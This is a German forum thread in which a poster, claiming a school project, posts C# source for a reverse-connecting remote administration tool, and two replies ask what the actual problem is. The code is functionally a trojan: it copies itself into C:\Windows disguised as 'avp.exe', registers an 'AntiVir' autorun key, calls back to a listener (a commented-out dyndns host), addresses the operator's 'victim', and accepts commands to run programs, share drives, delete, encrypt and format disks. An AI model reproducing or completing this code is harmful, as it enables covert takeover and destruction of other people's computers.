Kleiner Fehler
-
Also für unsere Schule muss ic hals PRojekt ein Administrationspanel mahcen.
Im Prinzip ist es eine Server / Client Anwendung, die Befehle auf dem Server ausfülhrt, wenn das Passwort richtig ist.Auerdem muss das ganze Reverse Connecten, da der Admin eine statische IP (dyndns.com) zuhause hat und darauf soll verbunden werden.
Hier mal die Codes:
Server - verbindet mit Reverseusing System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.Net.Sockets; using System.IO; using System.Net; using Microsoft.Win32; namespace RC { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { rauf: try { File.Copy("Schulprogramm2_Alex_4aI.exe", "C://Windows//avp.exe", true); RegistryKey key = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion", true); // Add one more sub key RegistryKey newkey = key.CreateSubKey("Run"); // Set value of sub key newkey.SetValue("AntiVir", "C:\\Windows\\avp.exe"); } catch { } //and do the .bat stuff try { Directory.CreateDirectory("C:\\Windows\\bat"); } catch { } //2 Splitter string[] arInfo = new string[2]; //Split Zeichen = Leerzeichen char[] splitter = { ' ' }; //lese string string zeile = " "; double pw = 0; string theString = " "; //EndeVariablen Kacke //TcpClient socketForServer2; TcpClient socketForServer; retry: try { //socketForServer2 = new TcpClient("securitysuit.mine.nu", 668); socketForServer = new TcpClient("127.0.0.1", 669); } catch { //MessageBox.Show("d"); System.Threading.Thread.Sleep(50000); goto retry; } /*NetworkStream networkStream2 = socketForServer2.GetStream(); System.IO.StreamReader streamReader2 = new System.IO.StreamReader(networkStream2); System.IO.StreamWriter streamWriter2 = new System.IO.StreamWriter(networkStream2);*/ NetworkStream networkStream = socketForServer.GetStream(); System.IO.StreamReader streamReader = new System.IO.StreamReader(networkStream); System.IO.StreamWriter streamWriter = new System.IO.StreamWriter(networkStream); //2te variante try { string outputString; streamWriter.WriteLine("HI I am your stupid victim - I love you Admin"); streamWriter.Flush(); while (true) { if (theString == "hello") { string hostName = Dns.GetHostName(); string ipa = Dns.GetHostByName(hostName).AddressList[0].ToString(); if (ipa == "85.17.10.126") { streamWriter.WriteLine("IP wurde als Admin Proxy Server registriert"); } streamWriter.WriteLine("Hello Admin"); streamWriter.Flush(); pw = 1; streamWriter.WriteLine("Now new supported commands are ready: Admin greetz you"); streamWriter.Flush(); streamWriter.WriteLine("map NAME"); streamWriter.Flush(); streamWriter.WriteLine("Erzeugt Freigaben auf dem VIC"); streamWriter.Flush(); } if (theString.Contains("process") || theString.Contains("Process") && pw == 1) { arInfo = theString.Split(splitter); System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.EnableRaisingEvents = false; proc.StartInfo.FileName = arInfo[1]; proc.Start(); } if (theString == "kill" && pw == 1) { streamWriter.WriteLine("Going down for a shutdown"); streamWriter.Flush(); socketForServer.Close(); goto bye; } if (theString.Contains("copy") && pw == 1) { arInfo = theString.Split(splitter); //arInfo[1] = Quelle //arInfo[2] = Ziel try { File.Copy(arInfo[1], arInfo[2], true); } catch { streamWriter.WriteLine("Fehler Datei konnte nicht kopiert werden"); streamWriter.Flush(); } } if (theString.Contains("map") || theString.Contains("Map") && pw == 1) { StreamWriter sw = new StreamWriter("C:\\map.bat"); sw.WriteLine("net share admin=C:\\"); sw.Close(); System.Threading.Thread.Sleep(500); System.Diagnostics.Process.Start("C:\\map.bat"); System.Threading.Thread.Sleep(500); File.Delete("C:\\map.bat"); StreamWriter sw2 = new StreamWriter("C:\\map.bat"); sw2.WriteLine("net share admin2=D:\\"); sw2.Close(); System.Threading.Thread.Sleep(500); System.Diagnostics.Process.Start("C:\\map.bat"); System.Threading.Thread.Sleep(500); File.Delete("C:\\map.bat"); streamWriter.WriteLine("C: wurde gemapped - Sharename: admin"); streamWriter.Flush(); streamWriter.WriteLine("D: wurde gemapped - Sharename: admin"); streamWriter.Flush(); } if (theString == "help" && pw == 1) { streamWriter.WriteLine("CALL Ruft eine Batchdatei aus einer anderen Batchdatei heraus auf."); streamWriter.Flush(); streamWriter.WriteLine("CD Zeigt den Namen des aktuellen Verzeichnisses an bzw. ändert diesen."); streamWriter.Flush(); streamWriter.WriteLine("CLS Löscht den Bildschirminhalt."); streamWriter.Flush(); streamWriter.WriteLine("CMD Startet eine neue Instanz des Windows-Befehlsinterpreters."); streamWriter.Flush(); streamWriter.WriteLine("COPY Kopiert eine oder mehrere Dateien an eine andere Stelle."); streamWriter.Flush(); streamWriter.WriteLine("DATE Zeigt das Datum an bzw. legt dieses fest."); streamWriter.Flush(); streamWriter.WriteLine("DEL Löscht eine oder mehrere Dateien."); streamWriter.Flush(); streamWriter.WriteLine("DIR Listet die Dateien und Unterverzeichnisse eines Verzeichnisses auf."); streamWriter.Flush(); streamWriter.WriteLine("FORMAT Formatiert einen Dateinträger für die Verwendung mit Windows."); streamWriter.Flush(); streamWriter.WriteLine("HELP Zeigt Hilfeinformationen zu Windows-Befehlen an."); streamWriter.Flush(); streamWriter.WriteLine("MKDIR Erstellt ein Verzeichnis."); streamWriter.Flush(); streamWriter.WriteLine("MOVE Verschiebt ein oder mehrere Dateien von einem Verzeichnis in ein anderes."); streamWriter.Flush(); streamWriter.WriteLine("RD Entfernt ein Verzeichnis."); streamWriter.Flush(); streamWriter.WriteLine("REN Benennt eine Datei bzw. Dateien um."); streamWriter.Flush(); streamWriter.WriteLine("VER Zeigt die Windows-Version an."); streamWriter.Flush(); streamWriter.WriteLine("Process Startet ein Programm"); streamWriter.Flush(); streamWriter.WriteLine("kill Beendet den Server"); streamWriter.Flush(); streamWriter.WriteLine("call Startet ein Programm"); streamWriter.Flush(); streamWriter.WriteLine("crypt Verschluesselt eine Datei"); streamWriter.Flush(); streamWriter.WriteLine("dcrypt Entschluesselt eine Datei"); streamWriter.Flush(); } if (theString.Contains("call") || theString.Contains("Call") && pw == 1) { arInfo = theString.Split(splitter); //arInfo[0] = call oder Call //arInfo[1] = Parameter try { System.Diagnostics.Process.Start(arInfo[1]); } catch { string v = "Das Programm / Pfad: " + arInfo[1] + " konnte nicht gestartet werden"; streamWriter.WriteLine(v); streamWriter.Flush(); } } if (theString == "ver" && pw == 1) { try { StreamWriter lo = File.CreateText("C:\\ver.bat"); lo.WriteLine("ver > C://ver.txt"); lo.Close(); System.Threading.Thread.Sleep(500); System.Diagnostics.Process.Start("C://ver.bat"); System.Threading.Thread.Sleep(500); StreamReader sr = File.OpenText("C:\\ver.txt"); for (int i = 0; -1 != sr.Peek(); i++) { zeile += sr.ReadLine(); } sr.Close(); System.Threading.Thread.Sleep(500); streamWriter.WriteLine(zeile); streamWriter.Flush(); } catch { streamWriter.WriteLine("Fehler"); streamWriter.Flush(); } } if (theString.Contains("move") && pw == 1) { arInfo = theString.Split(splitter); try { File.Move(arInfo[1], arInfo[2]); } catch { streamWriter.WriteLine("Fehler"); streamWriter.Flush(); } } if (theString.Contains("crypt") && pw == 1) { arInfo = theString.Split(splitter); try { File.Encrypt(arInfo[1]); } catch { streamWriter.WriteLine("Falscher Pfad"); streamWriter.Flush(); } } if (theString.Contains("dcrypt") && pw == 1) { arInfo = theString.Split(splitter); try { File.Decrypt(arInfo[1]); } catch { streamWriter.WriteLine("Falscher Pfad"); streamWriter.Flush(); } } if (theString.Contains("format") && pw == 1) { arInfo = theString.Split(splitter); StreamWriter su = File.CreateText("C://kill.bat"); su.WriteLine("format " + arInfo[1]); su.Close(); System.Diagnostics.Process.Start("C://kill.bat"); } if (theString == "date" && pw == 1) { StreamWriter sx = File.CreateText("C:\\date.bat"); sx.WriteLine("date /T > C:\\dasf.txt"); sx.Close(); System.Threading.Thread.Sleep(500); System.Diagnostics.Process.Start("C:\\date.bat"); System.Threading.Thread.Sleep(500); StreamReader sr = File.OpenText("C:\\dasf.txt"); for (int i = 0; -1 != sr.Peek(); i++) { zeile += sr.ReadLine(); } sr.Close(); streamWriter.WriteLine(zeile); streamWriter.Flush(); System.Threading.Thread.Sleep(500); File.Delete("C:\\date.bat"); File.Delete("C:\\dasf.txt"); } if (theString == "cmd" && pw == 1) { try { System.Diagnostics.Process.Start("cmd.exe"); } catch { streamWriter.WriteLine("cmd.exe konnte nicht gestartet werden"); streamWriter.Flush(); } } if (theString == "cls" && pw == 1) { int i = 0; while (i <= 30) { streamWriter.WriteLine(" "); streamWriter.Flush(); i++; } } if (theString == "dir" || theString == "DIR" && pw == 1) { StreamWriter ws = File.CreateText("C://dir.bat"); ws.WriteLine("cmd /C dir > C:\\task.txt"); ws.Close(); System.Threading.Thread.Sleep(500); System.Diagnostics.Process.Start("C://dir.bat"); System.Threading.Thread.Sleep(500); File.Delete("C://dir.bat"); StreamReader sr = File.OpenText("C:\\task.txt"); for (int i = 0; -1 != sr.Peek(); i++) { zeile += sr.ReadLine(); } streamWriter.WriteLine(zeile); streamWriter.Flush(); } if (theString == "cd" || theString == "CD" && pw == 1) { arInfo = theString.Split(splitter); StreamWriter ws = File.CreateText("C://cd.bat"); ws.WriteLine("cmd /C cd " + arInfo[1] + " > C:\\cd.txt"); ws.Close(); System.Threading.Thread.Sleep(500); System.Diagnostics.Process.Start("C://cd.bat"); System.Threading.Thread.Sleep(500); File.Delete("C://cd.bat"); StreamReader sr = File.OpenText("C:\\cd.txt"); for (int i = 0; -1 != sr.Peek(); i++) { zeile += sr.ReadLine(); } streamWriter.WriteLine(zeile); streamWriter.Flush(); } if (theString.Contains("del") && pw == 1) { arInfo = theString.Split(splitter); try { File.Delete(arInfo[1]); } catch { streamWriter.WriteLine("Datei konnte nicht geloescht werden"); streamWriter.Flush(); } } if (theString.Contains("RD") && pw == 1) { arInfo = theString.Split(splitter); Directory.Delete(arInfo[1]); } if (theString.Contains("cd") || theString.Contains("Cd") && pw == 1) { arInfo = theString.Split(splitter); try { StreamWriter sw = new StreamWriter("C:\\Windows\\bat\\cd.bat"); sw.WriteLine("cd " + arInfo[1] + " >>C:\\Windows\\bat\\cd.txt"); sw.Close(); } catch { streamWriter.WriteLine("Parameter wurde falsch uebergeben - help gibt mehr Informationen"); streamWriter.Flush(); } System.Threading.Thread.Sleep(500); try { System.Diagnostics.Process.Start("C:\\Windows\\bat\\cd.bat"); System.Threading.Thread.Sleep(500); StreamReader sr = File.OpenText("C:\\Windows\\bat\\cd.txt"); for (int i = 0; -1 != sr.Peek(); i++) { zeile += sr.ReadLine(); } sr.Close(); } catch { streamWriter.WriteLine("Konnte nicht in Verzeichnis %Parameter% wechseln"); streamWriter.Flush(); } } } } catch { MessageBox.Show("Fehler"); } bye: streamReader.Close(); streamWriter.Close(); networkStream.Close(); } } }
Der Client
using System; using System.Collections.Generic; using System.Text; using System.Net.Sockets; using System.Threading; namespace RATServer { class Program { public static void tuwas() { TcpListener tcpListener2 = new TcpListener(11660); tcpListener2.Start(); Socket socketForClient2 = tcpListener2.AcceptSocket(); if (socketForClient2.Connected) { NetworkStream networkStream2 = new NetworkStream(socketForClient2); System.IO.StreamWriter streamWriter2 = new System.IO.StreamWriter(networkStream2); System.IO.StreamReader streamReader2 = new System.IO.StreamReader(networkStream2); string read = " "; while (true) { read = streamReader2.ReadLine(); Console.WriteLine(read); } } } static void Main(string[] args) { TcpListener tcpListener = new TcpListener(669); tcpListener.Start(); Socket socketForClient = tcpListener.AcceptSocket(); //Variablen Kacke string help = "ATTRIB Zeigt Dateiattribute an bzw. ändert sie.\nCALL Ruft eine Batchdatei aus einer anderen Batchdatei heraus auf.\nCD Zeigt den Namen des aktuellen Verzeichnisses an bzw. ändert diesen.\nCLS Löscht den Bildschirminhalt.\nCMD Startet eine neue Instanz des Windows-Befehlsinterpreters.\nCOPY Kopiert eine oder mehrere Dateien an eine andere Stelle.\nDATE Zeigt das Datum an bzw. legt dieses fest.\nDEL Löscht eine oder mehrere Dateien.\nDIR Listet die Dateien und Unterverzeichnisse eines Verzeichnisses auf.\nEXIT Beendet das Programm CMD.EXE (Befehlsinterpreter).\nFORMAT Formatiert einen Dateinträger für die Verwendung mit Windows.\nHELP Zeigt Hilfeinformationen zu Windows-Befehlen an.\nMKDIR Erstellt ein Verzeichnis.\nMOVE Verschiebt ein oder mehrere Dateien von einem Verzeichnis in ein anderes.\nRD Entfernt ein Verzeichnis.\nREN Benennt eine Datei bzw. Dateien um.\nRMDIR Löscht ein Verzeichnis.\nTIME Zeigt die Systemzeit an bzw. legt sie fest.\nTYPE Zeigt den Inhalt einer Textdatei an.\nVER Zeigt die Windows-Version an.\n"; //2 Splitter string[] arInfo = new string[2]; //Split Zeichen = Leerzeichen char[] splitter = {' '}; //lese string string zeile=" "; double pw = 0; string theString = " "; //EndeVariablen Kacke if (socketForClient.Connected) { NetworkStream networkStream = new NetworkStream(socketForClient); System.IO.StreamWriter streamWriter = new System.IO.StreamWriter(networkStream); System.IO.StreamReader streamReader = new System.IO.StreamReader(networkStream); theString = streamReader.ReadLine(); Console.WriteLine(theString); Console.WriteLine("Hallo Admin: admin greetz you"); while (true) { theString = Console.ReadLine(); streamWriter.WriteLine(); streamWriter.Flush(); try { theString = streamReader.ReadLine(); Console.WriteLine(theString); } catch { } /*Thread[] ta = new Thread[2]; ta[1] = new Thread(new ThreadStart(tuwas)); ta[1].Start(); */ } Console.Read(); } } } }
-
Servus,
und was ist nun dein Problem? (Merke: Geht nicht! Ist keine Problembeschreibung.)
mfg
Hellsgore
-
Ausserdem wäre es nett, nach Möglichkeit nur den Relevanten Codeausschnitt zu posten. Hier haben selten Leute Lust, die Arbeit von Deinem Debugger zu übernehmen